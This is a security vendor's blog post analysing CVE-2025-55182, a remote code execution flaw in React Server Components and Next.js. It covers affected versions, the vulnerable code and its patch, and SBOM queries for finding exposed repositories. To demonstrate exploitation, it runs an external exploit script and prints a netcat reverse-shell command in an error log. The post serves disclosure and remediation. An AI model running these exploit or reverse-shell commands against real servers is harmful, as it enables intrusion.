Unpacking CVE-2025-55182: React Server Components RCE Exploit Deep Dive and SBOM-Driven Identification

SafeDep Team7 min read

On December 3, 2025, a pre-authenticated remote code execution (RCE) vulnerability was disclosed(opens in new tab) in React Server Components(opens in new tab), tracked as CVE-2025-55182(opens in new tab). The vulnerability affects following React components:

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

Affected Versions:

  • 19.0.0
  • 19.1.0
  • 19.1.1
  • 19.2.0

Note: They are part of the upstream react(opens in new tab) repository.

The vulnerability is caused by unsafe deserialization of user supplied data from HTTP requests to Server Function Endpoints. PR 35277(opens in new tab) includes a fix for the vulnerability. nextjs(opens in new tab) is impacted by this vulnerability due to its dependency on React Server Components. The nextjs vulnerability is tracked as CVE-2025-66478(opens in new tab) and issue 86790(opens in new tab).

Nextjs applications using the React Server Components with the App Router are impacted by this vulnerability. Next.js 15.x, Next.js 16.x, Next.js 14.3.0-canary.77 and later canary releases are affected.

Affected Versions:

  • >= 15.0.0, <= 15.0.4
  • >= 15.1.0, <= 15.1.8
  • >= 15.2.0, <= 15.2.5
  • >= 15.3.0, <= 15.3.5
  • >= 15.4.0, <= 15.4.7
  • >= 15.5.0, <= 15.5.6
  • >= 16.0.0, <= 16.0.6

Patched Versions:

  • 15.0.5
  • 15.1.9
  • 15.2.6
  • 15.3.6
  • 15.4.8
  • 15.5.7
  • 16.0.7

The vulnerability is considered critical because multiple default configurations of React Server Components are vulnerable. Nextjs applications created using npx create-next-app are affected by default. Immediate remediation steps are to upgrade to the patched versions of Nextjs and React.

Technical Analysis

Note: Following analysis was performed on v19.2.0 in react(opens in new tab) repository. Use git checkout --detach v19.2.0 to checkout the tag.

React Server Components leverage the Flight Protocol(opens in new tab) for interacting with client components. This protocol takes care of serialization, deserialization and streaming of data between server and client. The server components use a module resolution system to lookup and execute server-side code based on request. The vulnerability stems from the requireModule function directly accessing object’s properties based on user supplied data without validation, resulting in Prototype Pollution(opens in new tab) vulnerability.

Looking at the following snippet from packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js, which is one of the vulnerable code paths and patched in #35277(opens in new tab), we can see evidence of the vulnerability.

export function requireModule<T>(metadata: ClientReference<T>): T {
  let moduleExports = __webpack_require__(metadata[ID]);

  // [...]

  return moduleExports[metadata[NAME]];
}

The vulnerability occurs when the metadata[NAME] is set to __proto__ or other internal properties of the object, and the moduleExports is accessed using the metadata[NAME] key. Typically it would mean that the attacker will have to find useful Javascript gadgets referenceable from the moduleExports to be able to exploit the vulnerability.

Exploitation

Real-world exploitation can be demonstrated using a vulnerable version of Nextjs application that uses React Server Components.

Start a containerized environment for isolation:

docker run -it -p 3000:3000 --rm -v $(pwd):/app node:24 bash

Generate a vulnerable Nextjs application:

cd /app &&npx create-next-app@16.0.6 cve-2025-66478-app

Start the application server:

cd /app/cve-2025-66478-app && npm run dev

In another terminal, start a containerized environment for running the exploit code(opens in new tab):

docker run -it --net=host --rm -v $(pwd):/app python:3.13 bash

Install the dependencies:

pip install requests

Run the exploit code against the vulnerable application:

cd /app && python3 CVE-2025-55182.py http://127.0.0.1:3000 --check

This produces the following output that indicates the server is vulnerable:

============================================================
CVE-2025-55182 - React Server Components RCE
============================================================
[*] Checking if http://127.0.0.1:3000 is vulnerable...
[*] Verifying target is reachable...
[+] Target reachable (status 200)
[*] Sending detection payload...
[+] Target appears VULNERABLE! (server hung on payload)

Run the exploit code to execute arbitrary code on the server:

cd /app && python3 CVE-2025-55182.py http://127.0.0.1:3000 -c "touch /tmp/h4x"

This successfully creates a file /tmp/h4x on the server. Additionally, attempting to use reverse shell payload fails with the following error since we are running the vulnerable application in a minimal container that does not have nc:

rm: cannot remove '/tmp/f': No such file or directory
/bin/sh: 1: nc: not found
 ⨯ Error: Command failed: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.64.1 9999 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
/bin/sh: 1: nc: not found

    at ignore-listed frames {
  status: 127,
  signal: null,
  output: [Array],
  pid: 277,
  stdout: <Buffer >,
  stderr: <Buffer 72 6d 3a 20 74 ... 30 more bytes>,
  digest: '2777937684'
}

Patch Analysis

Looking at the patch #35277(opens in new tab), we can see the following hunk in packages/react-server/src/ReactFlightReplyServer.js, which specifically adds a guard against prototype pollution attempts by leveraging the __proto__ as the key name.

@@ -427,7 +574,7 @@ function reviveModel(
             value[key],
             childRef,
           );
-          if (newValue !== undefined) {
+          if (newValue !== undefined || key === '__proto__') {
             // $FlowFixMe[cannot-write]
             value[key] = newValue;
           } else {
@@ -441,24 +588,42 @@ function reviveModel(
   return value;
 }

The patch also fixes the vulnerable code by introducing a check using hasOwnProperty to ensure that the metadata[NAME] refers to a valid property of the moduleExports object and not inherited from the prototype.

--- a/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js
+++ b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js
@@ -19,6 +19,8 @@ import {
} from '../shared/ReactFlightImportMetadata';
import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';

+import hasOwnProperty from 'shared/hasOwnProperty';
+
export type ServerManifest = {
  [string]: Array<string>,
};
@@ -78,7 +80,10 @@ export function preloadModule<T>(

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
}

Vulnerability Response

Security Teams who are required to respond to this vulnerability will be greatly benefited by maintaining a Software Bill of Materials (SBOM) for their applications. SBOMs are machine readable, standardized format for maintaining the inventory of various software components, their metadata and dependencies. SBOMs are useful only when they are adopted as a practice rather than an adhoc activity. For example, SBOMs can be used to:

  • Identify applications that are vulnerable
  • Identify vulnerable versions of Nextjs and React Server Components
  • Identify point in code where the vulnerability was introduced and remediated

CISA’s Shared Vision on SBOM(opens in new tab) provides concise guidance on how SBOM can help in vulnerability management. At a minimum, security teams should build the following capabilities:

  • Generate SBOMs for all applications meeting minimum elements(opens in new tab)
  • Keep SBOMs up to date as part of the software development lifecycle
  • Ability to query SBOMs for vulnerabilities and compliance

There are multiple free and open source tools available for SBOM generation such as trivy(opens in new tab), syft(opens in new tab), cdxgen(opens in new tab), vet(opens in new tab) and more.

Using SafeDep for SBOM Generation and Query

SafeDep can help in generating and maintaining SBOMs, continuously, as part of the software development lifecycle. Following options are available:

  • Using SafeDep free and open source tools for DIY SBOM generation and query
  • Using SafeDep Cloud (SaaS) for continuous SBOM generation and query

SafeDep Open Source Tools

SafeDep vet(opens in new tab) can be used to generate SBOMs from source code, export it in a queryable format, and query it for vulnerabilities and compliance. In this specific case, we will demonstrate how to use vet to scan a GitHub organization to identify repositories that are vulnerable to CVE-2025-55182 and CVE-2025-66478.

Make sure you have vet installed in your system. For help with installation, refer to the vet Installation Guide(opens in new tab).

Optional: Generate and setup a read-only GitHub Personal Access Token(opens in new tab) to provide larger rate limit for vet to scan GitHub repositories. Example: export GITHUB_TOKEN=your-token-here

Run vet to scan your GitHub organization and generate the report as an sqlite3 database.

vet scan --github-org https://github.com/your-github-org --report-sqlite3 /tmp/gh-org-vet.db

Note: The scan will take some time to complete depending on the number of repositories in the organization.

Run the following query to identify repositories that are vulnerable to CVE-2025-55182 and CVE-2025-66478.

SELECT
  p.name,
  m.namespace as repository,
  p.version,
  p.is_direct,
  m.display_path as manifest
FROM report_packages p
  JOIN report_package_manifest_packages mp ON p.id = mp.report_package_id
  JOIN report_package_manifests m ON mp.report_package_manifest_id = m.id
WHERE p.ecosystem = 'npm'
  AND p.name IN ('next', 'react')
  AND p.version IN ('19.0.0', '19.1.0', '19.1.1', '19.2.0', '15.0.4', `16.0.6`)
ORDER BY p.name, m.namespace, p.version;

Note: Not all vulnerable versions are included in the query.

Example output:

react|https://github.com/your-github-org/your-repository1.git|19.2.0|1|package.json
react|https://github.com/your-github-org/your-repository2.git|19.2.0|1|pnpm-lock.yaml
react|https://github.com/your-github-org/your-repository3.git|19.2.0|1|package.json

vet also supports an Agent Mode that can be used to query the SBOM database using natural language. See vet Agent(opens in new tab) documentation for more details. To use it, run the following command:

Set one of the supported LLM service API keys:

export GEMINI_API_KEY=your-gemini-api-key

Start vet in agent mode (query agent):

vet agent query --db /tmp/gh-org-vet.db --fast

Note: The --fast flag sets a fast model such as gemini-2.5-flash for the query agent. Omit it to use a reasoning model such as gemini-2.5-pro.

SafeDep Cloud

The following guidance is applicable only for users of SafeDep Cloud(opens in new tab) with GitHub App(opens in new tab) or one of the supported integrations already connected with their version control system. Here is how you can use SQL queries to find vulnerable repositories.

  1. Login to SafeDep Cloud(opens in new tab)
  2. Navigate to the Query tab
  3. Execute the following SQL query:
SELECT projects.name,
  projects.version,
  packages.name,
  packages.version
FROM projects
  WHERE packages.name = 'react' and packages.version = '19.2.0'

Note: SafeDep Cloud SQL schema is denormalized to make it easier to query. It is not compatible with vet sqlite3 database schema.

References

  • react
  • nextjs
  • sbom
  • vulnerability
  • security

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.